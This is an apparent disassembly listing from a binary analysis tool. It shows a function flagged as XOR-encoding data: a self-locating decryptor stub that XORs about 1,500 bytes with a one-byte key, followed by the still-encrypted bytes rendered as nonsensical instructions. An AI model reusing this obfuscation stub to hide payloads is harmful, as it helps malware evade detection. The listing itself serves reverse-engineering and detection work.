Function at 0x10095dc
Capabilities:
Encode data using xor

Disassembly:
jmp 0x10095e6
pushal
call 0x10095ec
pop ebp
sub ebp, 0x10
sub ebp, 0xc095dc
jmp 0x1009602
mov eax, 0xc095dc
add eax, ebp
add eax, 0x4c
mov ecx, 0x5cb
mov edx, 0xeef19eb4
xor byte [eax], dl
inc eax
dec ecx
jne 0x1009619
jmp 0x100962c
aas
jns 0x100966e
cmp eax, 0xb4b4b488
xor eax, 0xb4b44c75
mov ah, 0xb7
jns 0x1009649
mov al, 0xb4
mov ah, 0xb4
push cs
pushfd
mov ah, 0xb4
mov ah, 0x43
push esi
mov bh, 0x7c
aas
jl 0x100968a
xor eax, 0xb4b4b4b8
mov bh, 0x71
cmp eax, edx
nop
dec eax
cmp eax, 0xd03990b0
nop
dec eax
cmp eax, 0xa8dc90b0
invalid
out 1, eax
dec dword [esp + ebx*2]
mov cl, 0xb4
mov ah, 0xb4
pop ebp
lcall 0xe9e0, 0xe1b4b4b4
aas
xor dword [esp + esi*4 + 0x213fb4b4], edi
mov eax, 0x3fb4b4b4
aas
and dword [eax + 0x3fb4b4b4], edi
mov ah, 0x3f
cmp dword [esp + esi*4 + 0x5d75b4b4], esp
mov dh, 0x85
mov dh, 0x37
jbe 0x1009649
std
mov ebx, 0x4b4b4031
dec ebx
aas
cwde
nop
cmp eax, edx
nop
mov al, 0x76
mov eax, 0x90383fb4
mov al, 0xb4
mov ah, 0xb4
fsubr qword [eax - 0x234b6939]
or dl, byte [esi - 0x674a4bd6]
nop
in eax, 0x5c
mov cl, 0xb4
mov ah, 0xb4
pop ebp
push dword [esi + 0x3fe1b4b4]
pop eax
dec ebx
sar dword [eax + 0x5cbcc14b], 0xca
mov ah, 0xb4
mov ah, 0x3f
dec ebx
sar dword [esp + ebx*2 - 0x4b4b4b36], 0x3f
or dword [esp + esi*4 + 0x4535b4b4], edi
lds ebp, [edi]
loopne 0x1009685
xor eax, 0xe02fc545
mov byte [0x46357d87], al
xchg ebx, eax
cmp ebx, dword ss:[esi + 0x36934635]
cmp ebx, dword [esi + 0x5c376687]
aaa
pop esp
mov cl, 0xfc
mov ebx, 0xb4b4fa30
mov ah, 0xbb
cmp al, 0xfc
mov ah, 0xb4
mov ah, 0xd2
aas
test al, 0x8d
xor al, 0x4f
pop esp
mov ebx, 0xb4b4ae30
mov ah, 0x34
dec edi
pop ebp
mov ebx, 0xb4b4a530
mov ah, 0xd2
xor eax, 0xbb914b4f
xor byte [ecx - 0xa4b4b4c], ah
mov eax, dword [0xf5b4b4b4]
pop ebp
js 0x1009779
dec ebx
dec ebx
popfd
clc
lea esi, [ebp + 0x37b17537]
pop esp
mov al, 0x5d
or dword [ebx + 0x4b], ecx
dec ebx
dec ebx
popfd
loopne 0x10096cf
mov dh, 0x37
jne 0x10096f8
aaa
pop esi
mov al, 0x37
pop esp
mov cl, 0x5d
pop ds
dec ebx
dec ebx
dec ebx
jmp 0xe2b54fcc
loop 0x100973d
loope 0x100979b
sar dword [eax + 0x48bcc93f], 6
xor al, 0x3e
mov dl, 0x35
jb 0x100971e
mov ah, 0xb4
mov ah, 0x3c
mov bl, 0x35
jae 0x1009726
mov ah, 0xb4
mov ah, 0xf
mov dh, 0xb4
mov ah, 0xb4
mov dh, 0x66
mov ebx, 0xb4b4b131
mov bx, 0xb131
mov ah, 0xb4
mov ah, 0x3e
mov byte [0xbb66a6f2], al
aaa
insb byte es:[edi], dx
dec ebx
dec ebx
dec ebx
mov dh, 0x66
mov ebx, 0xb4b4b131
mov ah, 0x3e
mov byte [0xbb66a6f2], al
aaa
mov bx, 0xde37
mov ah, 0xb4
mov ah, 0x87
je 0x1009758
fidiv word [esp + esi*4 - 0x498b784c]
mov bx, 0xb131
mov ah, 0xb4
mov ah, 0x3e
mov byte [0xbb66a6f2], al
aaa
sahf
cmpsb byte [esi], byte es:[edi]
mov bx, 0x9e37
mov ch, 0xb4
mov ah, 0xb6
mov bx, 0xb131
mov ah, 0xb4
mov ah, 0x3e
mov byte [0xa766a6f2], al
je 0x100977a
mov bx, 0xb131
mov ah, 0xb4
mov ah, 0x3e
mov byte [0xa766a6f2], al
je 0x1009789
mov bx, 0xb131
mov ah, 0xb4
mov ebx, 0xb4b4b131
mov ah, 0x3e
mov byte [0xa766a6f2], al
je 0x1009798
mov bx, 0xb131
mov ah, 0xb4
mov ah, 0x3e
mov byte [0xa766a6f2], al
je 0x10097ac
xor byte [edx + 0x3fb4b4b4], dh
imul ebx, dword [edi + 0x3cb73e6c], 0xffffffb3
movzx esi, byte [esp + esi*4 + 0x4bc45db4]
dec ebx
dec ebx
or al, 0xb5
mov ah, 0xb4
mov ah, 0xb6
mov bx, 0xb131
mov ah, 0xb4
mov ah, 0x3e
mov byte [0xa766a6f2], al
je 0x10097d4
mov bx, 0xb131
mov ah, 0xb4
mov ah, 0x3e
mov byte [0xbb66a6f2], al
push 0x4b
dec ebx
dec ebx
lahf
ja 0x1009842
mov ch, 0xb4
mov ah, 0xb4
mov ebx, 0xb4b48031
mov ah, 0xd
mov ch, 0xb4
mov ah, 0xb4
mov dh, 0x66
mov ebx, 0xb4b4b131
mov ah, 0x3e
xor dword [ecx + 0x3eb4b4b4], esi
mov byte [0xa766a6f2], al
jge 0x1009808
mov bx, 0xb131
mov ah, 0xb4
mov ah, 0x3e
mov byte [0xbb66a6f2], al
push 0x4b
dec ebx
dec ebx
loop 0x10098a5
inc ebx
lahf
inc ecx
inc edi
adc dl, ch
pop ebp
mov esp, 0xfc4b4b4b
jne 0x10098c8
mov esp, 0x3ff2b23e
pop esp
or eax, 0xb4b4b4b5
mov dh, 0x66
mov ebx, 0xb4b4b131
mov ah, 0x3e
mov byte [0xa766a6f2], al
jge 0x1009845
mov bx, 0xb131
mov ah, 0xb4
mov ah, 0x3e
mov byte [0xbb66a6f2], al
push 0x4b
dec ebx
dec ebx
xor eax, 0xb4c9b44c
mov ah, 0x35
insd dword es:[edi], dx
dec ebx
dec ebx
dec ebx
mov ah, 0xb4
xor eax, 0x4b4b4b6d
dec ebx
xor eax, 0xb4b1b44c
mov ah, 0x35
insd dword es:[edi], dx
dec ebx
dec ebx
dec ebx
dec ebx
xor eax, 0xb4b4344c
mov ah, 0x35
mov ah, 0xb4
mov ah, 0xb4
xor eax, 0xb4b4344c
mov ah, 0xb4
mov ah, 0x35
mov ah, 0xb4
mov ah, 0xb4
loop 0x1009912
inc ebx
lahf
inc esp
inc edi
adc dl, ch
pop ebp
das
dec edx
dec ebx
dec ebx
mov dl, 0xf2
xchg dword [ebp + 0x74], edi
pop esp
mov ch, 0xbb
xor byte [esi + 0x35b4b4b4], ch
mov dh, 0xb4
mov ah, 0xb4
aas
pop esp
loop 0x1009935
inc ebx
lahf
inc esp
inc edi
adc dl, ch
lgs esi, [esp + esi*4 + 0x4ac75db4]
dec ebx
dec ebx
jmp 0x40bd62aa
aas
jae 0x10098f8
ljmp 0xb4bc:0x76e9513f
mov esp, 0x803febb4
nop
cmp eax, edx
nop
mov al, 0x5d
mov al, 0xb4
mov ah, 0xb4
mov bl, 0x5e
fsubr qword [0x7421680c]
mov ah, 0xb7
jno 0x1009962
je 0x100990a
mov bh, 0xb4
mov ah, 0xd
sbb al, 0xb6
mov ah, 0xb4
push cs
jns 0x1009964
mov ah, 0xe9
test byte [esp + esi*8 + 0x4231bbfd], ah
dec ebx
dec ebx
dec ebx
pop ebp
mov al, 0xb4
mov ah, 0xb4
push ecx
retf
lds ecx, [esi - 0x27]
jns 0x10099d7
jns 0x10099da
xchg edx, esi
cmpsd dword [esi], dword es:[edi]
out dx, eax
or dword [ebp - 0x11], eax
std
dec ecx
dec ebp
jns 0x10099e7
jns 0x10099c2
mov eax, dword [0xf2792ef2]
jge 0x1009970
bnd jge 0x1009970
cmp dword [ecx + 0x79], 0x79
jns 0x10099f4
std
aas
jns 0x10099fb
jns 0x10099fe
scasd eax, dword es:[edi]
clc
mov esi, 0x79797971
clc
nop
jno 0x1009a08
jns 0x1009a0a
clc
cmp byte [ecx + 0x79], 0x79
jns 0x1009a10
jns 0x1009a0e
jbe 0x1009996
std
lodsd eax, dword [esi]
xchg byte [esi + 0x7ef21f86], al
mov eax, 0x99fa7591
bnd jle 0x1009959
jle 0x1009959
xchg ecx, eax
jne 0x100999e
cdq
jbe 0x100999f
cmp dword [edx + 0x79], 0xfc767979
jns 0x1009a23
cld
je 0x1009a29
jns 0x1009a2b
pop ds
bnd jle 0x10099ae
cdq
xchg byte [esi + 0x79], dh
jns 0x1009a36
mov ebx, 0x30306178
cli
mov esi, 0x86b1907b
xchg byte [esi + 0x79797d90], al
jns 0x1009974
test dword [esi - 0x5b], 0xb9eca5c1
jns 0x1009a52
jp 0x1009995
mov esp, 0x7d65b9f8
jns 0x1009a58
clc
mov ecx, 0x79797d65
rol byte [edx - 0x3c868688], 0xe3
xchg byte [ecx + 0x396949a0], bh
mov ecx, 0x396949a0
cmp dword [eax], esi
xor byte [esi - 4], dh
jbe 0x10099eb
pop dword [esi + 0x7d908686]
jns 0x1009a70
jge 0x1009a6f
jns 0x1009a71
jns 0x10099ab
mov dl, 0x5d
pop ebp
sub al, 0x92
xchg edx, eax
adc al, 0x68
adc al, 0x68
push 0x1464df94
push 0xe363d45f
xchg esp, eax
fbld tbyte [esp + edx + 0x68]
pop edi
aam 0x63
jecxz 0x10099ec
jecxz 0x10099ed
jecxz 0x10099eb
loopne 0x1009a29
sbb eax, 0xe3ef9c60
pushal
pushfd
out dx, eax
jecxz 0x10099fd
in al, dx
pop esi
jecxz 0x10099f8
jecxz 0x1009a7f
push 0x25e0efa4
movsb byte es:[edi], byte [esi]
out dx, eax
loopne 0x1009a40
and eax, 0x1fc7876e
outsb dx, byte [esi]
xchg edi, eax
pop ds
push 0xffffffffffffffe7
invalid
jbe 0x1009a50
push ds
jle 0x1009a0b
bound ebx, qword [ebx]
jecxz 0x1009a0f
sbb esp, ebx
jecxz 0x1009a10
jecxz 0x1009a11
jecxz 0x1009a1b
in al, dx
in ax, dx
jecxz 0x1009a16
jecxz 0x1009aa9
push 0xe074ef9b
wait
out dx, eax
je 0x1009a1a
and eax, 0x37761cb3
push ds
jle 0x1009a25
pushal
pushfd
out dx, eax
jecxz 0x1009a33
jcxz 0x1009a2e
jecxz 0x1009aad
pushfd
jecxz 0x1009a33
in al, dx
jmp 0x1017e38
jmp 0x61e47e3a
jecxz 0x1009a47
jecxz 0x1009a47
and bl, 0xe3
jecxz 0x1009acf
jecxz 0x1009a43
outsb dx, byte [esi]
xchg edi, eax
pop ds
push 0xffffffffffffffcf
invalid
push ds
loopne 0x1009a7f
or eax, 0xe3e39e60
pushal
sahf
jecxz 0x1009a59
in al, dx
cmpsb byte [si], byte es:[di]
jecxz 0x1009a5e
jecxz 0x1009ae5
scasb al, byte es:[edi]
jecxz 0x1009aee
outsb dx, byte [esi]
xchg edi, eax
pop ds
push 0xffffffffffffffe7
invalid
jecxz 0x1009a42
or ch, dl
jecxz 0x1009a77
jecxz 0x1009a76
sub eax, 0xe3e12262
jecxz 0x1009a80
mov dl, 0x6e
xchg edi, eax
pop ds
push 0xffffffffffffffe7
invalid
jle 0x1009a8e
mov ecx, 0x68e3a66a
cmpsb byte [esi], byte es:[edi]
jecxz 0x1009b18
out 0xc7, eax
outsb dx, byte [esi]
xchg edi, eax
out 0x62, eax
out 0xe3, eax
jecxz 0x1009a9f
or dl, byte [edx + 0x1c]
sbb al, 0x1c
push 0x876ec7cf
invalid
sbb al, 0x1c
sbb al, 0x68
iretd
ficomp dword [esp + ebx]
sbb al, 0xb7
xchg dword [esi + edx*8], ebx
jecxz 0x1009abc
jecxz 0x1009abe
mov edx, dword [edi]
js 0x1009b02
jecxz 0x1009b4f
xchg edi, eax
pop ds
push 0xffffffffffffffcf
invalid
iretd
retf
xchg ecx, eax
mov word [edi - 0x73687f7a], ss
xchg ecx, eax
ret
jmp 0x879621c4
adc byte [edi - 0x7f326e74], 0x8c
mov cs, esp
out dx, al
jmp 0x838f6a04